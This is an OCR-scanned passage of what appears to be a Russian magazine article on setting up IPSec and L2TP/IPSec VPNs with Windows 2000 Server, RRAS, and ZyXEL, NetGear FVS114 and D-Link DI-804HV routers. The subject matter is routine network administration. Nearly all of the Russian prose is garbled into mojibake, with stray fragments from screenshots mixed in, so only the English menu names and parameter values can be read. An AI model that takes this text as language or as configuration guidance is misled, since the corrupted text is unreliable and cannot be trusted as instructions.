Е ОАГ ОБАЕ ОГ 1 | ONADAADO, i DET ADAEA 
ji DAET | АГААОЕЕ ТТ NOAAUEEA 

1 Ai DOAT AAI ЕВ AANUI Ai A AAG ААОР 
(xO0U i Ai AA $2000) EAEACEO ZY XEL 
ZYWALL 70W ЕЕ, ГАТТ AAADZEAAP U Op 
L2TP/IPSEC 


16 САО EOA OxANOEA Ni АО 11-06 


8 Ai AAAERAQ 0 IP FILTER, ЕЕЕЁЕАВ ADD... 
9 | ACU AAAS 0 OEEUOD INBOUND SMB 
ЕГАЕЕ! ААб О ADD. 

10 А SOURCE ADDRESS AU AEDAAG 0 

A SPECIFIC IP SUBNET El EO AGU AADAN 
E | ANEO AEB NAOE «А», A DESTINATION 
ADDRESS OEACU AAA U IP_OAEE.NADAA- 
DA.| NOAAERA® Ui i OEP MIRRORED. 
ALSO MATCH PACKETS WITH THE EXACT 
OPPOSITE SOURCE AND DESTINATION 
ADDRESSES. 

11 | ACAEEAAEA PROTOCOL AU AEDAAQ U 
ОЕТ i pi Of ЕГЁА ТСР МЕР Ai Ai ТТ DOA 
iA139E Е! АВОТЕ. 

12 | AEE) АА@ 0 ADD. 


13 А SOURCE ADDRESS AU AEDAAG 0 

A SPECIFIC IP SUBNET E | EO AGU AADAN 
E | ANEO AEB NAOE «A», A DESTINATION 
ADDRESS OEACU AAA@ 0 MY IP ADDRESS. 
i NOAAERA@ Ui i OEP MIRRORED. ALSO 
MATCH PACKETS WITH THE EXACT OPPO- 
SITE SOURCE AND DESTINATION 
ADDRESSES. 

14 [ А CAEEAAEA PROTOCOL AU AE DAAG U 
ОЕТ i pi O| ET EATCPN Eb Ai А ii DOA 
ГА 445 Е Е! АВОТЕ. 

15 CAEDU AAAQ U IP FILTER LIST, | AZE- 

i АВ CLOSE. 

16 | A CAEEAAEA IP FILTER LIST AU AEDAAQ 0 
ОГ ЕОЕТ xOi Ni CAAI | UE INBOUND SMB. 

17 {| A CAEEAAEA AUTHENTICATION 
METHOD AU АЕРААВ Ui АОГ А AOOAI OE- 
OEEAOEE (ANEE Ei i ТОР OADU ECi A- 
ii Ai Ai i Ai A, ANOANOAAI i i ‚Г NOAA- 
ERA@UKERBEROS, ANEE ANOU ОАТ NOI - 
ААРВЬ UEE ОАГ ODE Ni | ОААОМОАОЬ - 

U EA NADOEOEEAOU IPSEC, AU AEDAA® 0 
USE CERTIFICATE, Ai Di OEAI i i NEO- 
xAAj i ЕОСОА@ ОМВ PRESHARED KEY). 

18 | А CAEEAAEA FILTER ACTION AU AE DA- 
A@U REQUIRE SECURITY > EDIT. 

19 OAEDAA@ U (ANEE ONOAI i АЕАГА) ТТ - 
OEP ACCEPT UNSECURED COMMUNICA- 
TION, BUT ALWAYS RESPOND USING 
IPSEC E | AEEI ААВ СОК, AAEAA CLOSE. 
20 А Ni ENEAT DAAEE | AZEI AAW UADDA 
Е AU AEDAA@ 0 ALL ICMP TRAFFIC. 

21 | А CAEEAAEA AUTHENTICATION 
METHOD AU АЕЁРААЯ 0 OAEI Е ZAI АО! A, 
EAE Ai Of ЕСА 17. 

22 | А CAEEAAEA FILTER ACTION AU AEDA- 
A®@U PERMITE ГАЕЕ! ААВ О ОК. 

23 А МГ ЕМЕАТ DAAEE ТТ ВОО ГАЕЕ! А- 
Аб 0 ADD, AU АЕБААВ U ALL IP TRAFFIC. 


24 [ А CAEEAAEA AUTHENTICATION 
METHOD AU AEDAAQ 0 OAEI E ZAI AOi A, 
EAE Ai Of EOA 17. 
25 | А CAEEAAEA FILTER ACTION i AZE- 
i AA@U ADD. 
26 A SECURITY METHOD AU AE DAA@ 0 
BLOCK, ГАРАОТ AE@ UI A CAEEAAEO 
GENERALE i EQ АС 0 ОА! BLOCK TRAF- 
FIC, | AEE] ААВ UIA OK. 
27 Ai El @EA FILTER ACTION AU AEDA- 
A@U BLOCK TRAFFIC E CLOSE. 
A eof Sa 1 1 A287 AU обе 1 бааёёа. [1 BVAT вебга] 8- 
{ yao ony, & 1 del ai yp ony fei fi A686 G+ 7 Ade. OF 
пой апёё т! 6460 AGT AYU Ga ICMP-i аёабй ‚ пода! Oa- 
adi daaeei Allow ICMP а, 


go 


11 @08E6. ASV ум & га af e171 BOER IPS ec for File 
Serveri date eeee, a 61 Г Oaehol 71 i aib — Assign. 


Aédeedd IPSec: 


net stop policyagent 
net start policyagent. 
[ айобаеаааю й IPSec-i 7 вёоёёб Га Meal ONATI 
&1 тор даба (Sani 61 поба! едит! EASES га аббава 
1 ад ёГ 011 а11 &ёа! -абас adi ii аор 11 веоеёб, 
anéé апой aii af, ёёа! -абас 1 йгайоёо Security 
Templates ё уёй! 7 6077 вё0ёё): 
1] АГР START, AAEAA RUN, [ AAEDAAG 0 
SECPOL.MSC Ei АЕЁЕ! ААС 0 ENTER. 
2 | DAAUE EEEE i AIP SECURITY POLI- 
CIES ON LOCAL MACHINE, AAEAA EEEE 
CREATE IP SECURITY POLICY. 
3 EEEEAA@ U NEXT. 
47 ЕВ АВОЕ! Rii Ai Efi EEOEEE, I Ai - 
DE] AD «IPSEC FOR FILE SERVER», EEE- 
EAA@ U NEXT. 
5 OAEDAA® Ui i OEP ACTIVATE THE 
DEFAULT RESPONSE RULE > NEXT. 
6 | NOAAERA@ Ui i OEP EDIT PROPER- 
TIES, EEEEAAQ U FINISH. 


7 Ai АААЕВАО Ui DAAEEI IPSEC, ADD. 


8 Aj AAAERAQG U IP FILTER, EEEEAB ADD. 
9 {| ACUAAAG 0 OEEUOD OUTBOUND SMB 
Ei AEE] AA@UADD. 

10 A SOURCE ADDRESS OEACU AAA@ U 

MY IP ADDRESS, A DESTINATION ADDRESS 
OEACU AAAG U IP_OAEE.NADAADA. i N- 
OAAERAG Ui i OEP MIRRORED. ALSO 
MATCH PACKETS WITH THE EXACT OPPO- 
SITE SOURCE AND DESTINATION 
ADDRESSES. 

11 [ А CAEEAAEA PROTOCOL AU AE DAA 0 
ОЕТ i pi ОГ ET EATCP МЁР Ai Ai ТТ DOA 
ГА 139 ЕЁ £i AQUI E. 

12 | AEE) АА@ О ADD. 


13 A SOURCE ADDRESS OEACU AAA@ 0 

MY IP ADDRESS, A DESTINATION ADDRESS 
OEACU AAA@ U IP_OAEE.NADAADA. 1 N- 
OAAEBAGUi i OEP MIRRORED. ALSO 
MATCH PACKETS WITH THE EXACT OPPO- 
SITE SOURCE AND DESTINATION 
ADDRESSES. 

14 [ А CAEEAAEA PROTOCOL AU AE DAA 0 
ОЕТ i Di 01 ЕТ ЁА ТСР МЁР Ai Ai ТТ DOA 
ГА 445 Е £i АВОТЕ. 

15 CAEDU AAAQ U IP FILTER LIST, 

ГАЕЕТ АВ CLOSE. 

16 {| А CAEEAAEA IP FILTER LIST AU AE DA- 
Аб О ОТ ЕОЕТ xi Ni CAAT I UE 
OUTBOUND SMB. 

17 [ А CAEEAAEA AUTHENTICATION 
METHOD Ai AAAERAGU AU ADAI Г UE 
РАГАА1 АОГ А AOOAI ОЕОЕЕАОЕЕ. 

18 | А CAEEAAEA FILTER ACTION АОАЕРА- 
Аб U REQUEST SECURITY (OPTIONAL). 

19 CAE BU AAKO UANAI ef 6 ЕЕ, | Aci A- 


EOE i АРАСАТ ONEAA® 0 NEOAAO IPSEC. 


л до 


дву i Of аабёе 1 бааёё! 1 Ade &1 го ёаббабее т опёа- 
ag Uping а! пабаада (i ai &аеа! 101 408), сабат 1 0ё- 
ou зада u 280851 ар Start > Run > > МР 6 ace. fhao- 


8850. | fad? af Ail &0с1 аздййу о0еёё41 6 ipsecmoneé 


ure Server (Require Security) 
Server (Request Security) 


Т бе! af af GATT вгоёвёё 


Г Beton ew || = + Ge |e wee lat 2 


Ноте Advanced Tools Help 
JF Н ли 
VPN status display VPN connection state. 
VPN setting... 
Remote Network Local Network — р 
РА99гез5! — |раЧаесе = ТМ ate Lite 
Name SubnotMaskt = matics Type State Time Drop 


VPN Status 


ai aéecadl 511 обаб еёа aéy &1 [ ODT GY OI ai, di Гог 
Гаатаёаой в ед бор dAy. | ева в абба в оба AAT A 
Га пабааб, f е й йабааба т д! 61 агой Га aT ёаеа! . 
| баат1 ваааа , +01 6 A687 ай в пабааб Гат ба- 
af позавуао абоаёб пабаей! а, Гат Oi аб пабаейа 
басбав af ey ei af оаёёаё ау 1 йёо-аа Г defi ай- 
& басбав аби af lia а O€i7 а аб! AYU AA обад вёа. 
>  L2TP/IPSec. | 1 аи 1 &6 Ahi? aici 4800 IPSec 
Odi f aéUiTi база а аёу Adal O, &1 ава обаабаойу 
| аае! еой Га Had A пабйр , a Afi тир даб, 21 ариёе 
éf ai в-айёёв аабай, й Afi тир баб! 1 eee & 1 тор - 
б 
а 


Dz a> 


a 

даб й пабар ? Oaéay пёобабеу Ai с! вёзав, €f aa г a- 
бт аё! 1 Г аай! а-ё04 cau ab аг Гав ai AOdI 11 ёис! - 
дабавав, Гат di аб ec ai] a EET ой! обба! еёа HiT - 
ббаб1 а&1 аГаёб! ава ато BAI Op Hadi. 

>  пбагабёв 3. Еаёт daaeei ‚ ai cf авазо! айё! et 
& Adal Addo! 06 aii ST At а.1 оёоза асубй eT 1 тар да 
dai é¢ éf ваёш1 в пабе ааа Р-забайа? xd ай end - 


— 


if а! ага! ei абй аабай ейы + ава ip_a_af 60d, a 
апёё обад ёё dai AdeddAOAY Gi 1 тарбаб 1 Aaadi у 
|р-аабайа! ё, тбё! ааёааеаи Gi ё Saci di йаду! , ёа- 
ё 6 аабайт1 айозаёояу а ва-айоаа ей: + ea? 

Гатабайв Ati 61 AT оааот Gi Adi в. А! -табаайб, 
lied? dfdar i aed а1 11 вгебави! ав IP-aadan ё fo- 
и ahdadp U ai 6 пабаа! 1 о Af 6856 BEAD. Al -Ad7 баб, 
ofhoat i аёбй Microsoft Loopback Adapter (yi déyoi 6 
fladaai в 6a000) é гайоб! еди аабайа Гага! . 

Ага adi 61 6 afi OT AL adi 61 Adi A 1 O480a, Oa 
6aé бас af éai at di da |Р-забайа end! H ева т бёг ё- 
| аабёёа! Aehdai a, вёа! тбёё! ава! ва, fi геваё га 
11 GUici аадаёи. | бё-8\ , AMEE 1 SCT га! 7 SE ай с! - 
aa 6 of ёбёё bind() оёасй аааб аабай ей + ева, ot 11! 
efi? ёйсоаолу аёу QA? AVL е6тавад а. AMEE i BET - 
wai ва Га d€ach aad ad , пейоай а fai а ай ded5aad IP - 
adda (i 7 озаёёба! або бобесабёе Mi 10666, -абас 
éaéi в &Г дабб аей ai йоёаеё! Р-забай!1 во-абаву ё 
ай аебаао!р-забай ehdi + ева, пауса! Гав пуб ef - 
0466 défi ). Алёё ё Г 0456 аейо тоёауса! 1 гай- 
ё Gel забай! а, ава! 1, ай аёбаадйу OF O, Ei м бав 
i бег ааёазеёд Of 6 ава ade, +07 ew Epc (i 1 Adi Af аа 
| Гобё Га http://support.microsoft.com/kb/175396/en-us). 

Ad ai 4 пвааор и ёв: { ай061 200 IPS ec-d6/ f аёй 


= 


ых дея AA 


a foal абёё 3 O46, +d ай dahl боаб G47 Gi GI аёё +абас 
{dad ,i Ot ава! а0ё-1 аазеа аёу поабе-айёёб аабам а. 


0-ааойу — @ Gaa( 1! Aéy yor а Adal абёу 1 i ai 
uct аадйпут OT OF Gi €7 1 Odi f Abed? AaLeY_L2TP, 
efi T 6Ucdadi 61 Oi Gi 6 PPP аёу Af ват повубёё 
ai {6 8i Of of &1 & IPSec аёу в 6 Of аа у. Атоваё 
двуаёот аваба! ет! hai dei af af ey L2TP/IPSec. 
Cal adel , +01 11 6084 IPS ec обаабад сааа! ey 


éi f 6040 06 IP-addafi а аву оааёа! i 06 “Гота 06! - 
| 


a> 
=> 


(aéy. А апёё addahi afi в ёс асаё 1 заейдабр и еб 
hot dif 1 af yadny (dF ahold ай азадйу аёГа1 в-айёё ё 
ёаавай é бас басГ ав, Гат Gel абтбё AT Hod! а ёса!1 а 
476 éf -абас dial-up fi ааёГ af Ga) Adai Aaddi di ё 
пбаайоаа! &€ Windows IPSec-ddi {ава Гат! Od! ё и. 

Г Gaal поза! озаваггав ат HOOT @ HAGE -абас 
L2TP-/IPsec-fi ааёГаГёа aéy аа!!! а foal adey. 
[| айббаёааа Aedeed6 RRAS Га пабааба: 


1] АГР START +> PROGRAMS - 
ADMINISTRATIVE TOOLS > ROUTING 

AND REMOTE ACCESS. 

2{ Ai ACAAI EE Ei i ГОР ОАРАТ DAAUE 
EEEE, CONFIGURE AND ENABLE ROUTING 
AND REMOTE ACCESS. 


3 ANEAAOp U Ai i Ei @ EA NEXT. 
4 AAEAA AU AEDAAS 0 MANUALLY 
CONFIGURED SERVER, EEEEAAQ U NEXT. 


7] OEDU AAA 0 ААБАА! { Ai DAA Е 
ТАГАЕЕ, ГАЕЕ! АВТЁР NEEI Ai Di OFA 
i АСААГ ЕВ NADAADA. 

8{ APORTS Г DAAUE EEEE, 

AAEAA PROPERTIES. 

9 AUAEDAA® 0 WAN MINIPORT (PPTP), 

i AEE] AAW 0 CONFIGURE. 

10 QAEDAA® Ui | OEE REMOTE ACCESS 
CONNECTIONS (INBOUND ONLY) 


E DEMAND-DIAL ROUTING CONNECTIONS 
(INBOUND AND OUTBOUND). 


AAEAA ОКЕ YES. 


17 


12 AU AEDAA@ 0 DIRECT PARALLEL, 
i AEE] ААВ 0 CONFIGURE. 


13 OAEDAA® Ui i OEP DEMAND-DIAL 
ROUTING CONNECTIONS (INBOUND AND 
OUTBOUND)E I AZEI ААВ О ОК. 


14 AU АЕРААС 0 WAN MINIPORT (L2TP), 
i AEE] ААВ 0 CONFIGURE. 


15 OAEDAA® Ui i OEP DEMAND-DIAL 
ROUTING CONNECTIONS (INBOUND AND 
OUTBOUND). 


16 Ai | EA MAXIMUM PORTS NOAAE@ U 

i Ai AO? AE] 1 AEi EExANOAI ii bD- 

oF A(i Ei Ei 01 1), AAEAA OK E OK. 

17 АЕГ Г Ni EE ОГ DAAEAI ЕВ Г DAAUE 
EEEE {Ai ACAAI EE Ei | ГОР OADA, АА- 
EAA PROPERTIES. 

18 | А CAEEAAEA GENERAL AU AEDAA® 0 
LOCAL AREA NETWORK (LAN) ROUTING ONLY. 
19 | А CAEEAAEA IP AU AE DAA@ 0 STATIC 
IP ADDRESS POOL E ОЁАСО AAAG U AEA- 
1} Aci i AADANI A, Ec Ei ОГ Di АГ L2TP- 
/IPSEC-EEEAi 00 AOAOO AU AAAAOUNB 
AADANA (А AEAI АС! | Ai EAI U АО - 
AEOU) Ef Ei 0] 2 AADANA). ANOANOAAI - 
ii ,xoi AO OAAEAI ii i O17 EUCI AAOA- 
Ep AUEE Ai №00! ГО БАМОРМО NAOE 
AUOUEC YO! Е EA NAOE. 

20 | AEE] ААС 0 ОКЕ YES, Ni AEA® АВМО 
№ ГАРАСААРОСЕТ Е МЕОЕАО. 


Габайе ёс ай зава! TTA аеёат ас! Га аабайг а абааб 
1 


191061 вёа ввёаг да: 

1] АГР START >CONTROL PANEL > 
NETWORK CONNECTIONS. 

2 САГ ONEAA® Ui ANOAD Ni CAAI EB 
ji AEEp xAi EE,i AEEI АВ CREATE 
A NEW CONNECTIONS. 

3{ AEEI ААС 0 NEXT. 


4 AU AEDAA® U CONNECT TO THE 
NETWORK AT MY WORKPLACE E 

i AEE] ААС U NEXT. 

5 AU AEDAA® U VIRTUAL PRIVATE 
NETWORK CONNECTION - NEXT. 

6 ААЕААТ ЕС АС 0 [Г ACAAI EAT i АЕЁР - 
ХАГ ЕВ, i Ai DEI AD OFFICE_NET_VPN. 

7 OEACU AAAG 0, i OAT i EET ADAA Ni С- 
AAI EAI VPN ONOAI AAEEAAOU DIAL-UP 
Ni AAEI Ai EA. E,ANEE ГОЕТЕТ, Oi EA- 
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EI A(i Ai РЕ! AD, ANEE ОМ! ODOAI EEA 
Alii АГА АОААЕА! ГАВ EEL EB, АТ Т - 

АА! ГОЕ Ai МООГ ), i AEE ААС 0 NEXT. 
8 OEACUAAAG U IP_G_Ai АО, ГАЕЕ! A- 
A@U NEXT Е FINISH. 


i 

(db cal @Au, & Зри бр тбаа! GAOaIT авё AGT Ayu dat 
fil daef af ay -абас RRAS. Ai di Adaéo 81 Aedzada 
aadti оаёёат база i taf i, евёё! ба AT йГайоёа Local 
Users and Computers (айёё aii af Active Directory 
Users and Computers) 6+a0/ ор cai ейит1 вис! aadaéy 
ё ай абаа Га савёаава Dial-ini i 6€b Allow Access. 

Aa аёв и 6+80/ ор cai AAU ётаб1 BU, { аа а- 
ag if a Connect. Айёё afd i 61 в &1 6AaHT, атба- 
aii Геза al бавобуа!1 п -айа! ет! уаёойу сга- ё 
паа ттавёр +a/ ву. 0 ава оат1 гай о ааа баса ё 
i adaéay Га саёёааёо Details, i 1 af it 161 & i COT &ё- 
61 aadli аба! A050 Ai ааё! al ey. 

xoi ай fa af dade YOU а дааёё001 ASW бобесабёе 
fa Gi тар саба, 17 ё0-ари@ обаава!Гав ai Addi, 
é6eg Геё вёрст! dif é+ai ep, Г dali 1 61 есаайое пёа- 
абри га1 af ет овубев: т баайв ёвеёё га сга-ёат! аё- 


tocol (TCP/IP), ааёаа Properties, ааёаа Advanced é 6a- 
dadui i 6@b Use Default Gateway on Remote Network. 

>  {afddi 6ёа NetGear ProSafe FVS114. IPSec — 
yoi 1 O11 Gwe ва! Гаев йоаГаабо. Ci a+8d, баавёсабеёё 


yoi а fdaf аабоа дас! Gi 67 Si cal аесаву ё а! Bae 
Га ой’ ав {1 асаё! 1 аа6йоа! ABOUT dead Ai d7 é. 1 61 - 
дабё\ yol, «ii аббаза» аву Га-аёа Windows 2000 
Server ё 1 аби d00ecadi 6 A 11 ааабаей в VPN — 
ProSafe VPN Firewall Е\/5 11410 Netgear. 

Nayeeai €6AiTi Тир IPSec 4 Sawai 8 Odi - 
Гаёу @ Addai O26 евабеае Ai7T1 TU Up тбаа! т бааа- 
éai fia ёёр +a. 

i AAddaeaaa9 й Windows 2000 Server of = 1 
0aé aa, 6aé Saf aa, Га сааб: азауйи, +i A Addai в 
Adi OT ГО IPSec-Odi Г аёу. Of айой Ai a+aea Ai сазае й 
11 вё0860 IPSec A aadi ут бааёва! & аёу &азеа! di ec 
Гат бааваг вв обаб ева, Гас! а-аав и YOdTT вёоеёо её 
саба! ёёа! ai ааавуаю и позе -айёёв 1 аби бобё 
i Of еса! аёо итоааёо баайоба, вёа! -абас RRAS 
Гапобаёдааю @ 61 Od8i AAT Aade «А». 

[ апобаеаааойу -абас web-Ai 0856 ай. 11 - 
oi Тё-аГёр |Р-аабай ei вавт a ef 6466 авйа — 
192.168.0.1, 6+ad/ ay cai ef аву аа! ef ейобёв! аа- 
(ey — admin Ai adi éai password (i абай1 ааё1 та- 
oi ei? а тё-агеёр f ai adi a@i 7 771 af you). 


1] Ai Pp START >RUNE{ EOAQU 

HTTP ://192.168.0.1/BASICSETTING.HTM 
(xOi АО CAEOE | AYO! ОЕГ OADOAEN, 
00 Al EZAI | DEI AAEAZ AOU NAOE 
192.168.0.0/24). 

2 АТЕГ ABASIC SETTINGS AAi AE@U IP- 
AADAN (IP_FVS_Ai A@),i ANEO,@EbC 


РЕМ _.. 
АМГ ADNEE 
МАГ ОЕ ЕСААМОГ ОЕ 
АЕГТ ТОР OADI Ti 


IT Tp 


E 
А 


Евёр cay сай 200 

[ &-84 гае1 аут df оёа 
IP Security, 61 баё ай 
Табадвой af i af ea 

& Of бор Ai сааабуй 
йа! aéhoai 7 Of OF & Ef а. 
аай! a+8ou aa { andi y- 


и op cau edd ii | 


— 


afi hot угёё. Г аа! 11 
Га аам Of af af 06 0йб- 
61 ейбааб, абавааба & - 
Of баб Ail аабаваб1 [1 ааа- 


float io ба! ё, 1 бёа! ау- 


2 


Ni ГАО ANOAA 
АБО COi .Y Oi O xAEi AAEI i ADACI UE 
OAEAD 01 xEO ANA — | AxE/ АВ 

i ОААСТ АЕАГООТ Di АРА] | 

Е CAEAI хЕААВ EDAI ЕЁ1 

Eli i Up ОАРГО1 ЕАЁАСТ 1. 
ГАТТГТГААЛЕЮВ Ai ОТГА OAT NO! 


бе fi ay пейоа а, ie 
adi ауц ёаа aa fi hoaa 
абавааба, i ei Oi +аа 


Цебёа! а fei Aoe 
бааёа! ii a adi баеа! ey 
Га adaédai ор 1 ag af 6. 

Edede-xH UE 61 5a6da06 — Та 6081 аа! ва a Fi ааб- 
0646 G6 66-9 а айаа wad a06, +i af айа Га 

i OA€adtT? 6 ёсё-айёё па! ida 


6 aé0, ё1 fi a -ейёа! 
cau éu aff di éaf aéai 
fayce, ааа IPSec fai 6- 
fafacau ви aff ta éa- 
Гаёа йаусё bag aad 
i Of ава! 61 adi afi 
«hddadfia», fayait 11 f- 
обёёбобу, = fei i ada- 


бабаблееа BOARS VOT Газ 
aya i 11 AddadSaadap д. 

Ai i 11 826 Яё0-Зуб IPSec 
aed dei 68256480 адаёб, 
i? A€i SUES Hal 6 a€0 da 
1 ei Af Af Ay овасй 4880 
(a cf a+8) тпботабааа- 
да 16 af 67 di абёе. 


E DNS NADAADA AEB Ai A@i AAI Ei OAD- 
OAENA, ГАЕЕ! ААВ UI A APPLY. 

3 NEAAA AU AE DAA@ U LAN IP SETUP 

Е | ANODAEAAAQ U IP-AADAN 

(IP_FVS Ai OO)E | ANEOIA EI EAEUI ТТ 
Ej OADOAENA. ANEE ЕС! Ai EQUEI - 
EAEUI OE AADAN, OF Ai NOOI E WEB-EI - 
OADO AENO, ANOANOAAI {7 , i Di i AAAO, 
ЕГОЕГТ АОААОЕС! Ai EOUURLI ATT - 
AU E (HTTP://IP_FVS_Ai OO/BASICSET- 
TING.HTM). i DE YOI | О OAAR Ai EAAI 
AU OU i ANOpi Ai IP-AADAN, АСТ AGU EE 
AiiAOp Ei AExANEOp NAOU. 

4 NEAAA AU AE DAA@ U VPN WIZARD 

E £i AOUNEXT. 

5 CAAAA@ ОЕ! В Ni ААЕГ Ai ER ET DAAI 1 - 
DAAAEAI i UE EEb x (PRE-SHARED KEY). 
6 | NOAAERA@ Ui i OEP A REMOTE VPN 
GATEWAY Е ГАЕЕ! ААС U NEXT. 

7 ОЕАСО AAA@ U IP-AADAN OAAEAI ТТ Ai 
Ei | OA 001 i AER IP_W2KS_Ai Аб 

E £i AOUNEXT. 

8 OEACU AAA@ U IP-AADAN E i ANEO 
OAAEAI (ТЕ NAOE («А») Е Ei АВ 0 NEXT. 


9 ANEAAOb 0 А! ТЕГА! AOU DONE. 


Oai ad 47 Of 60861 af p IKE Policies ё VPN Policies 
11 узевейит! веовёе, Ai Caaf Gaia Afi аа aafi 6, 
adaaai i абга ва! айбаба fi caaf ey VPN. 


Айа, 161 аб6 ойоэ!1 аеой Ai Baal af A, гат бё- 
1 аб adi Tf éf 64 ping fA осёа а fade «A» а1 осёа а fade 
«A». | &f 86480. Ipsecmon 1 1 40885208840, +0 IPSec- 
fi 8a@f af 8 ойоз! 1 аёё1 AU. А То! 6081 afb VPN 
Status {a FVS114 аёа!{ ойба! 1 ава! { Ga айй! бёд- 
dee 4acii afi iT Ade. E6008 авута!1 a УРМ-М aae- 
(af ey (11 i aft é аёу IPSec-00a6 еёа а Gacedii Гат- 
баава! ее 61 af a — аву КЕ). 

> D-Link DI-804HV. Oai аба а yor) cea Adal Adee 
cai af él Е\5114 Га DI-804HV. 

ОТ 14888 804Н\ { 801 айбаба Al саагёу VPN- 
fi adéi af ву, 646 AFVS114, егаот баа! 1 базава! г аб 
Odi Гайоб1 дв, ваё а ММ пао\м5-йё081 26.1 ada) 806 
IPSec- ё IKE-fil ааё! af ey Г daft аа! агой або бр. 
17 4a of аё1 AYA yori бету м 1068 , ваёеа1 Bd? аа 
aaci i ай! 1 Ade f AMOS? ага а Windows 2000 Server. 

хо ай TT Ai 1 обаой е 1 обазаёоёб1 зави т аба- 
1 а0бй аву IKE, а йёйба! аб Windows [| dai? : 


1] Ai P START >RUN > SECPOL.MSC 
Ei AEE] ААС 0 ENTER. 
2 AUAEDAA® U IP SECURITY POLICIES ON 
LOCAL MACHINE, AAEAA AAi Ei i E EEEE 
iAlO#Iii Ei i EEOEEAE Т ADAOI AEGU 
i A CAEEAAEO GENERAL, AAEAA 
ADVANCEDAE METHODSA. 
Та 84880 Ui 8540E 1 Ad? а dacii ай! 1 Ade, & OT 506 
i Sade asaaodhy aéy IKE-fi aaei af ey: 


1AEAl DEO] @EODI AAI EB 3DES. 

2 AEAI DEO] ОАЕТ МОГ i NOE $НА1. 

3 ADOI | AAEOOE-OAEI Ai ANDAAI BB (2). 
4NbDi Е ЖЕС! E ЕЁР xA — 4801 Ei 00. 


хо ad т! fi 7 O6adt е 1 обаааёоёб! Aad T AdAI A000 
aéy IPSec, { dai: 


1] АГР START, AAEAA RUN, | ААЕРААВ 0 
SECPOL.MSC E | AEE] ААС U ENTER. 


2 AUAEDAA® U IP SECURITY POLICIES ON 
LOCAL MACHINE, AAEAA AAi Ei i E EEEE 
ГАТГЕЕОЕЕА, А Ni ENEAT DAAEEIA 
ГОЕГТТ — AAI Ei i E EEEE. 

3 { A CAEEAAEA FILTER ACTION ААГ E- 
ij E EEEE ГА ODAAOAI ТТ , E DAAAEOE- 
DOAG U. 


Га azaag Ui AdadE i ада аас! тай! 1 Ade, Ef OI 50 
i баавааааойу аёу IPSec-fi ааё! af ey: 

+ ЕГЕАТ МОЕВОЕВ AH — ГАО. 

2 Е EAI МОЕВОЕВ ESP — ANOU. 

A) @ EOD! АА! EA 3DES 

A) ОАЕТ МОГ Т NOU SHA1 

3 AAi ADEDI AAOUI i AUE ЕЁЬ x xADAC 


lied? ай абабй 4668881 ай аа. 

Odi аби! SAAD a6 & { AAOST 648 DI-BO4HV (fit Ч - 
dif G Windows 2000 Server i €€aé86 éci af af &6 f 87 OT - 
ёса! deg U): 


1] АГр START >RUNE IT EGAGU 

HTTP ://192.168.0.1/(xOi AU CAEOE ГА 
YOI О ЕГ OADOAEN, OU Ai EZAI ТРЕ- 

i AAEAZAOU МАОЕ 192.168.0.0/24). El В 
ТГЕОСТ AAOAE& — ADMIN, i Abi EU — 

i ONO! E (i AAi OOO ZA ONOAI Т AEOU AAI ). 
2 AU AEDAAG Ui ANODI EEO WAN E АД - 
AE@ UIP-AADAN (IP_DLINK_Ai A@), i AN- 
ЕО, @Eb CE DNS NADAADA AER АГ AO - 

i AAi Ei OADOAENAE I AZEI ААВ О 

i A APPLY. 

3 AUAEDAAO UI ANODI EEOLANE ГАМЮО- 
DAE AAA® U IP-AADAN (IP_DLINK_Ai 00) 
ЕТ АМЕОГАЕГ EAEUI Ti Ei OADOAENA. 
АМЕЕ ЕС! Ai EQOUEI EAEUI ОЕ AADAN, 
ОГ Ai МООТ Е WEB-Ei OADOAENOI Di ТА- 
AAO, Е ГОЕ1Т AOAAOECI Ai EOUURL 
ГАТГАОЕ (HTTP://IP_DLINK_Ai 00), 

i DE YOI | Ai EZAi AU OUI ANODI Ai 
IP-AADAN, AOi АВОЕЕ Al i AOp 

Ei AExANEOp NAOU. 


| 61 ada й OAOAL T аёб Ai Baal Af AY Adal аабог Oi 
hia 


4 AU AEDAAG Ui ANODI EEO VPN. 

5 АЕЁР xAAQU АГ Ci i Zi i NOU VPN, 
АОАЕРАВ i | OEP VPN ENABLE. 

6 АААС Ui ACAAI EA ОО! i AEP, 

i Ai DEI Ар DI804-w2KAS. 

71 АОГ Ai МОААЁВАС 0 IKE, 

ГАЕЕТ ААС 0 MORE. 

8 AAi АЕС О: 

А) LOCAL SUBNET — AADAN NAOE «А», 
LOCAL NETMASK - | ANEA NAOE «А», 

A) REMOTE SUBNET — ААРАМ NAOE «А», 
REMOTE NETMASK — | ANEA NAOE «А», 
A) REMOTE GATEWAY — IP_W2KS_Ai АВ, 
A) IKE KEEP ALIVE — Г Di ЕСАГ EUI UE 
AADAN ЕС NAOE «А», 

A) PRESHARED KEY — PASSWORD. 

э [АЕ] ААС 0 APPLY Ei i NEA DANOAD- 
ОАТ Ai DOAI AAI ЕВ AUAEDAAG 0 
SELECT IKE PROPOSAL. 


10 ДА! AEQU: 

A) PROPOSAL МАМЕ — METHOD1, 
A) DH GROUP — GROUP2, 

A) ENCRYPT ALGORITHM — 3DES, 
A) AUTH ALGORITHM — $НА1, 

A) LIFE TIME - 28800 (480, 

oi ii ZAG ii Ai A 60). 

11] DE] АГВАЙ ОЕС! Ai AI EA, 

i AZE| АВ APPLY. 

12 AU AEDAA® 0 PROPOSAL 1 1, 
i AEE] ААВ 0 ADD TO, AAEAA APPLY, 
CAOAI BACK. 

13 AU AEDAA@ U SELECT 

IPSEC PROPOSAL. 

14 AAI AE QU: 

A) PROPOSAL NAME — METHOD1, 
) DH GROUP — NONE, 

) ENCAP PROTOCOL — ESP, 

) ENCRYPT ALGORITHM — 3DES, 
) AUTH ALGORITHM — $НА1, 

A) LIFE TIME — 900. 


A 
A 


A 
А 


15] DEI АГВАВ О ЕС! Ai Ai EA, i AZE- 
i АВ APPLY. 

16 AU AEDAA® 0 PROPOSAL 1 1, 

i AEE] ААВ U ADD TO, AAEAA APPLY, 
CAOAI BACK. 


811 -абастега. 

xOi ай 1 Of аабёой Hi Ad? Vi €8 IPS ec-Od/ f аёу 
Га 01804, 1 1 а=71 11 Al ТОбадй &1 2-6 авёа, Га саё- 
64468 Status] af p Logs ё VPN Status. 

>  тбёааааггаотбм ad7 4 ai aii 4000 ai Ada- 
G Hi ay of ai, + Ad Гайоб! 200 IPSec {a ёра!1 
ada 1 a7 AdadIT1 1 Adm Sddacadi ба. O86 Of 1 1 == 


1 7 S@AOd аби ё пёбаи Adal ab © 


оцесх 
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Oaéi 6 i абагёс1 баатой 70850480 тт епоега 
аасаба! e+ dé тб! Adi 6 авут1 Gada dag ав 6 а! Oa- 
